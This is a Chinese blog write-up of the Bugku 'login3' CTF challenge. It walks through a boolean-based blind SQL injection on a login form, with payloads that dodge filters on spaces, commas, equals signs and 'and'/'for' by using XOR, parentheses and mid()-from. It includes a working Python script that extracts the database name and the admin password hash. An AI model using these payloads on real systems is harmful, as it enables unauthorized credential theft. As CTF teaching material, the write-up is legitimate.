Fork me on GitHub

Bugku-CTF之login3(SKCTF)(基于布尔的SQL盲注)

Day41

login3(SKCTF)

 

http://123.206.31.85:49167/
flag格式:SKCTF{xxxxxxxxxxxxx}
hint:基于布尔的SQL盲注
 
本题要点:异或运算、布尔盲注、过滤
 
打开是一个登录窗口
 
用bp抓一下包
发送至repeater
没什么新发现........
随便试试其他用户名,看看回显信息
 
 
我们可以发现
当我们随便输入一个用户名“qwe”时, 回显用户名不存在,但并没有对密码进行检验。
当我们输入用户名“admin”时,回显密码错误,则说明 是先查找匹配用户名,如果存在,再验证密码。
试试在用户名admin后加上单引号
 
 
结果还是显示用户名不存在,但是并没有报错信息...........
 
那么,我们猜测后台的验证应该是先查找输入的用户名是否存在
语句大体是这样
select password,username from users where username=”我们输入的用户名”
 
如果我们在where语句的结尾加上一个and连接的布尔判断语句,就可以根据返回值判断where条件是否成立,这个语句就可以补成:
 
where username=’admin’ and (substring(database(),1,1)=’a’)
 
如果返回值是password error,那么就说明where语句是成立的,那么我们补充的那就也是成立的,那么就可以确定数据库的第一位是a,然后再猜测第二位。
 
 
额....显示非法字符.......
 
可能是过滤了and....
继续测试发现....还过滤了空格,逗号,等号,for
空格用括号代替,等号用<>(一种不等号)代替
查阅大佬们的题解.........
发现大佬使用了异或运算^
先说一下异或运算的基本规则:
1^1=0    1^0=1   0^0=0
即 只有两个不同的布尔值运算结果为1
 
先给出脚本
 
import requests
str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
url="http://123.206.31.85:49167/index.php"
r=requests.session()
def database():
    result=""
    for i in range(30):
        flag = 0
        for j in str_all:
            payload="admin'^(ascii(mid(database()from({})))<>{})^0#".format(str(i),ord(j))
            data = {
                "username": payload,
                "password": "123"
            }
            s=r.post(url,data)
            print(payload)
            if "error" in s.text:
                result+=j
                print(result)
            if flag == 0:
                break
def password():
    result=""
    for i in range(40):
        flag=0
        for j in str_all:
            payload = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i+1),ord(j))
            data = {
                "username": payload,
                "password": "123"
            }
            s=r.post(url,data)
            print(payload)
            if "error" in s.text:
                result+=j
                flag=1
                print('**************************',result)
        if flag==0:
            break
#database()
password()

 

 
解释一下payload:
 
"admin'^(ascii(mid(database()from({})))<>{})^0#"
 
1.为了绕过空格过滤,用括号隔开,过滤了等号,用不等号 <>代替,只要是布尔值就可以。
 
2.mid()函数和substring()一样,一种写法是mid(xxx,1,1),另一种是mid(xxx,from 1 for 1)但是这里过滤了for和逗号,那么怎么办呢?
因此,这里用到了ascii()取ascii码值的函数,如果传入一个字符串那么就会取第一个字符的字符的ascii码值,这就有了for的作用,并且mid()函数是可以只写from的表示从第几位往后的字符串,我们将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取。
 
3.每个字符的ascii码判断,是否不等于给定的数字,会得到一个布尔值(0或1)再与结尾的0进行运算。
如果数据库名的第一位的ascii码值不是97,where条件是username=’admin’^1^0
 
返回值是username does not exist!
 
如果数据库名的第一位的ascii码值是97,where条件是username=’admin’^0^0
 
返回值会是password error!
 
这就构成了布尔报错注入。
 
4. 最后^0的妙用! 因为’admin’^0^0和’admin’^1^1是一样的,我们可以构造后者来看前者成立时的情况。 因为这里即使是语法错误也不会报错,有可能你输入的语句就不可能成立,但你也无法知道。
 
脚本运行结果:
 
 
拿到密码~
md5解密一下!
 
登录~得到flag
 
 
 
 
 
 
参考资料:
https://www.jianshu.com/p/aa9fabd36de1
 
 
 
 
 
posted @ 2019-07-12 16:15  0yst3r  阅读(2816)  评论(0编辑  收藏  举报
返回顶部